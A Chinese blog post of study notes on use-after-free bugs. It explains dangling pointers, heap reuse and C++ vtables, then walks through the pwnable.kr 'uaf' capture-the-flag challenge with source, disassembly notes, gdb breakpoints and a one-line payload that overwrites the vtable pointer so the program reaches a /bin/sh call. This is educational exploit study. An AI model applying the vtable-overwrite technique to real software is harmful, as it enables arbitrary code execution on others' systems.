<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    學習筆記:UAF釋放后重用

    一顆小胡椒2022-04-15 08:17:36

    UAF基礎概念

    UAF漏洞全稱為use after free,即釋放后重用。漏洞產生的原因,在于內存在被釋放后,但是指向指針并沒有被刪除,又被程序調用。比較常見的類型是C++對象,利用UAF修改C++的虛函數表導致的任意代碼執行。

    在了解UAF是導致任意代碼執行的細節,首先讓我們了解幾個概念:

    懸掛指針、內存占坑、C++虛函數

    實驗源碼如下

    // UAFv1.cpp : 定義控制臺應用程序的入口點。//#includeusing namespace std;#include "stdafx.h"#include#include#define size 32
    class Base{public :int base;virtual void f(){ cout<<"Base::f()"<virtual void g(){cout<<"Base::g()"<virtual void h(){cout<<"Base::h()"<};class Child:public Base{public:int child;void f(){cout<<"Child::f()"<void g1(){cout<<"Child::g1()"<void h1(){cout<<"Child::h1()"<};
    int _tmain(int argc, _TCHAR* argv[]){char *buf1;char * buf2;//Lab1    buf1=(char *)malloc(size);printf("buf1:0x%pn",buf1);free(buf1);
        buf2=(char *)malloc(size);printf("buf2:0x%pn",buf2);
    memset(buf2,0,size);printf("buf2:%dn",*buf2);
    printf("====Use Afrer Free====n");strncpy(buf1,"hack",5);printf("buf2:%snn",buf2);
    free(buf2);//Lab2    Base *B=new Base();    Base *C=new Child();
        getchar();return 0;}
    

    一、{1}懸掛指針(Dangling pointer)

    指向被釋放的對象內存的指針。

    成因:釋放掉后沒有將指針重置為null,導致指針依舊可以訪問,并且繼續指向已經釋放的內存.UAF便是調用懸掛指針(多為C++對象),通過對這段內存提前的設計,使得程序調用我們設計好的程序。

    案例程序中,為buf1分配了一段32字節的空間,然后將其釋放。

    但是當使用strncpy對已經釋放的buf1拷貝字符串時,發現被free的buf1依然是可以訪問的,并且指向的內存沒有變化。

    釋放后的buf1依然指向原來的內存,此時的buf1就是一個懸掛指針。

    一、{2}占坑

    了解堆分配的占坑機制,需要了解SLUB系統內存分配機制。和SLAB不同,這種利用方法對對象類型沒有限制,兩個對象只要大小差不多就可以重用同一塊內存,也就是說我們釋放掉對象A以后馬上再申請對象B,只要兩者大小相同,那么B就很有可能重用A的內存。

    見案例中,釋放buf1時,buf1指向0xa35470的內存。而在buf1釋放之后,立即分配一個相同大小的內存給buf2指針,發現buf2獲取的指針指向的就是buf1被釋放的內存地址。

    這就是buf2占坑了buf1的內存空間。

    此時發散一下思維,buf2可控,而buf1仍然指向buf2的內存空間,是不是就有可能造成程序出現問題。

    一、{3}虛函數

    C++中的虛函數的作用主要是實現了多態的機制。簡而言之就是用父類型別的指針指向其子類的實例,然后通過父類的指針調用實際子類的成員函數。這種技術可以讓父類的指針有“多種形態”。代碼表現形式就是C++類中Virtaul開頭的函數。

    同時C++的虛函數是漏洞攻擊的重點對象,C++對象中有一個非常重要的結構—虛函數表。

    覆蓋C++虛函數造成的漏洞利用技術的風靡程度,不亞于經典棧溢出的覆蓋手法。更重要的是覆蓋虛函數表還可以從本質上繞過GS等內存保護機制,這里不展開說了。

    詳細的逆向分析,非常推薦《C++反匯編揭秘》這本書,將虛函數的反匯編代碼和C++代碼進行對比,理解會比較深刻。

    代碼分別實例化了Base和Child為B和C,查看內存結構。

    Base對象B的首地址存放_vfptr(虛函數表),指向三個虛函數f()、g()、 h()

    Child對象C的首地址是對基類(Base)的一個拷貝,值得注意的是Base類里的虛函數表,這里的f()函數被Child重寫,g和h函數則依然指向Base實例化時其在虛函數表中的地址。

    C的第二個地址則指向自己的虛函數表。

    這些繼承關系,可以簡單概括為下面三張圖。

    接下來我們觀察代碼是如何生成C++虛函數表的。

    首先v2=operator new(8u) 對應Base *B=new Base()實例化對象,v2為指向對象的指針。

    實例化對象之后,C++會將虛函數表的地址放在對象內存的開頭。

    進入sub_411140函數之后經過二次跳轉進入sub_4117A0函數


    text:004117C3                 mov     eax, [ebp+var_8]
    .text:004117C6                 mov     dword ptr [eax], offset ??_7Base@@6B@ ; const Base::`vftable'
    

    mov操作將虛函數表地址放到[eax]的位置,而此時eax的值就是通過上層函數傳遞下來的v2的指針。所以這段代碼就完成了將虛表放置到對象頭部的效果。

    這一步驟之后,也就能理解為什么虛函數表會在對象表頭,同時這個操作也是我們用來判斷C++對象創建的一個非常好的信號,還可以獲取這個對象的頭部地址和虛表。

    通過PWN題掌握UAF

    在掌握了基礎之后,我們可以拿pwnalbe.kr 的UAF題來快速理解利用原理。

    使用scp下載二進制文件和源碼(密碼:guest)

    $ scp -P2222 uaf@pwnable.kr:/home/uaf/uaf  /Users/p0kerface/
    $ scp -P2222 uaf@pwnable.kr:/home/uaf/uaf.cpp  /Users/p0kerface/
    

    主要思路便是利用占坑的方法,向被釋放的空間寫入數據覆蓋vfptr(虛函數表),然后調用懸掛指針完成UAF,這題非常經典值得在做UAF之前的復習。

    調試過程中,意識到自己閱讀C++的反匯編水平還是不夠,類和對象沒有源碼只看IDA還是非常困難的。所以會把一些逆向的筆記記錄下來。

    程序源碼

    uaf.cpp
    #include 
    #include  
    #include 
    #include 
    #include 
    using namespace std;
    class Human{
    private:
    virtual void give_shell(){
            system("/bin/sh");
        }
    protected:
    int age;
    string name;
    public:
    virtual void introduce(){
    cout << "My name is " << name << endl;
    cout << "I am " << age << " years old" << endl;
        }
    };
    class Man: public Human{
    public:
        Man(string name, int age){
    this->name = name;
    this->age = age;
            }
    virtual void introduce(){
            Human::introduce();
    cout << "I am a nice guy!" << endl;
            }
    };
    class Woman: public Human{
    public:
            Woman(string name, int age){
    this->name = name;
    this->age = age;
            }
    virtual void introduce(){
                    Human::introduce();
    cout << "I am a cute girl!" << endl;
            }
    };
    int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);
    size_t len;
    char* data;
    unsigned int op;
    while(1){
    cout << "1. usen2. aftern3. freen";
    cin >> op;
    switch(op){
    case 1:
                    m->introduce();
                    w->introduce();
    break;
    case 2:
                    len = atoi(argv[1]);
                    data = new char[len];
                    read(open(argv[2], O_RDONLY), data, len);
    cout << "your data is allocated" << endl;
    break;
    case 3:
    delete m;
    delete w;
    break;
    default:
    break;
            }
        }
    return 0;    
    }
    

    二、{1}代碼分析

    通過IDA反匯編,不過C++的代碼已經非常難以看懂了,代碼主要分兩大塊解析。

    第一部分是類和子類的定義,定義的父類Human和子類Man和Woman。其中父類包含get_shell函數,雖然子類并沒有定義,但是通過繼承關系可知,在實例化過程中,虛函數表中函數會包含這個函數。

    第二部分就是類的實例化和use after free 三個功能。

    接下來我們將程序重要的部分分析一下,以便理解漏洞。

    (1)實例化對象

    Human* m = new Man(“Jack”, 25);這句在IDA翻譯如下,變量v3為實例化Man對象之后的指針。

    找到對應的反匯編,0x400F13這個地方是對象實例化的函數,在call執行結束之后,EBX中便保存這Man對象的指針,即上文中的v3變量。可以通過gdb下斷點進行調試。

    當實例完對象之后,ebx存放的地址(0x401570),也就是前文中所說的虛函數表vfptr,指向的第一個函數Human繼承下來的give_shell。

    讓我們查看虛表的內存,可以看到Man的虛表中有兩個函數。虛表偏移8字節便是introduce函數。

    (2)調用方法

    源代碼

    case 1:
                    m->introduce();
                    w->introduce();
    break;
    

    IDA中對應的偽代碼

    指針v13和v14分別對應實例化的Man和Woman,Woman的虛函數表的結構與Man是相同的(地址不同),所以不再贅述。

    通過觀察虛函數表結構,我們已經知道introduce為虛表表頭偏移8個字節,所以便有了v13+8字節偏移。

    這里就埋下一個伏筆,如果對虛表指針的地址進行改寫,將虛表向前偏移8個字節,這樣本來調用introduce方法就會調用getshell方法。

    對應的反匯編如下,非常建議自己動態調試一遍,能夠加深印象。

    二、{2}UAF利用流程

    (1)程序實例化Man和Women

    (2)使用Free將Man和Women分別Free (free)

    (3)再分配內存,這里我們需要分配24字節,為了占坑。(after)

    因為24字節(0x18)和之前分配的Man和Women一樣(上圖所示),所以會發生占坑現象,也就是說程序會將之前被釋放的Man和Women空間分配給這個指針。此時讀取文件(poc)的內容,因為占坑之后內存指針指向的第一個字符就是,覆蓋之前Man和Women的虛函數。

    Poc的內容就是$ python -c “print ‘x68x15x40x00x00x00x00x00’”> poc

    即0x401468=0x401570-8,原虛函數表地址-8字節。

    (4)調用Man的懸掛指針,因為虛函數表被我們從poc讀入的數據改寫,調用intruduce會調用getshell

    (5)利用結束

    使用UAF修改C++虛表,改變程序流程。

    調試過程中,建議下如下的斷點,可以讓程序停在關鍵的地方。也可以在調試過程中,多嘗試用Ctrl+C呼叫程序暫停,然后設置斷點。

    gdb-peda$ b *0x400f13
    Breakpoint 1 at 0x400f13
    gdb-peda$ b *0x400fcd
    Breakpoint 2 at 0x400fcd
    gdb-peda$ b *0x40102d
    Breakpoint 3 at 0x40102d
    gdb-peda$ b *0x401076
    Breakpoint 4 at 0x401076
    

    根據如下的操作,我們很容易就獲取了shell,注意傳遞參數poc文件

    指針虛函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    UAF漏洞全稱為use after free,即釋放后重用。
    C和C++向來以“let the programmer do what he wants to do”的貼近底層而為廣大開發者所喜愛。
    逆向角度看C++部分特性
    軟件漏洞分析簡述
    2022-07-18 07:08:06
    然后電腦壞了,借了一臺win11的,湊合著用吧。第一處我們直接看一下他寫的waf. 邏輯比較簡單,利用正則,所有通過 GET 傳參得到的參數經過verify_str函數調用inject_check_sql函數進行參數檢查過濾,如果匹配黑名單,就退出。但是又有test_input函數進行限制。可以看到$web_urls會被放入數據庫語句執行,由于$web_urls獲取沒有經過過濾函數,所以可以
    控制流劫持攻擊是當前較為主流的攻擊方式之一,包括ROP、JOP等等。
    House of Cat5月份偶然發現的一種新型GLIBC中IO利用思路,目前適用于任何版本,命名為House of cat并出在2022強網杯中。但是需要攻擊位于TLS的_pointer_chk_guard,并且遠程可能需要爆破TLS偏移。并且house of cat在FSOP的情況下也是可行的,只修改虛表指針的偏移來調用_IO_wfile_seekoff即可。vtable檢查在glibc2.24以后加入了對函數的檢測,在調用函數之前首先會檢查函數地址的合法性。
    幾乎所有Win32程序都會加載ntdll.dll和kernel32.dll這兩個基礎的動態鏈接庫。64位系統首先通過選擇字GS在內存中找到當前存放著指向當前線程環境塊TEB。進程環境塊中偏移位置為0x18的地方存放著指向PEB_LDR_DATA結構體的指針,其中,存放著已經被進程裝載的動態鏈接庫的信息。模塊初始化鏈表 InInitializationOrderModuleList中按順序存放著 PE 裝入運行時初始化模塊的信息,第一個鏈表結點是 ntdll.dll,第二個鏈表結點就是 kernel32.dll。從kernel32.dll的加載基址算起,偏移0x3C的地方就是其PE頭。
    EXP編寫學習之繞過GS
    2023-02-20 09:58:16
    棧中的守護天使 :GSGS原理向棧內壓入一個隨機的DWORD值,這個隨機數被稱為canary ,IDA稱為 Security Cookie。Security Cookie 放入 ebp前,并且data節中存放一個 Security Cookie的副本。棧中發生溢出時,Security Cookie首先被淹沒,之后才是ebp和返回地址。函數返回之前,會添加一個Security Cookie驗證操作,稱為Security Check。檢測到溢出時,系統將進入異常處理流程,函數不會正常返回,ret也不會被執行。函數使用無保護的關鍵字標記。緩沖區不是8字節類型 且 大小不大于4個字節。可以為函數強制啟用GS。
    源碼分析1、LLVM編譯器簡介LLVM 命名最早源自于底層虛擬機的縮寫,由于命名帶來的混亂,LLVM就是該項目的全稱。LLVM 核心庫提供了與編譯器相關的支持,可以作為多種語言編譯器的后臺來使用。自那時以來,已經成長為LLVM的主干項目,由不同的子項目組成,其中許多是正在生產中使用的各種 商業和開源的項目,以及被廣泛用于學術研究。
    什么是UAF漏洞?當訪問指向已釋放對象的指針時,就會發生UAF漏洞。它沒有任何意義!為什么程序員要釋放一個對象,然后再次訪問它?
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类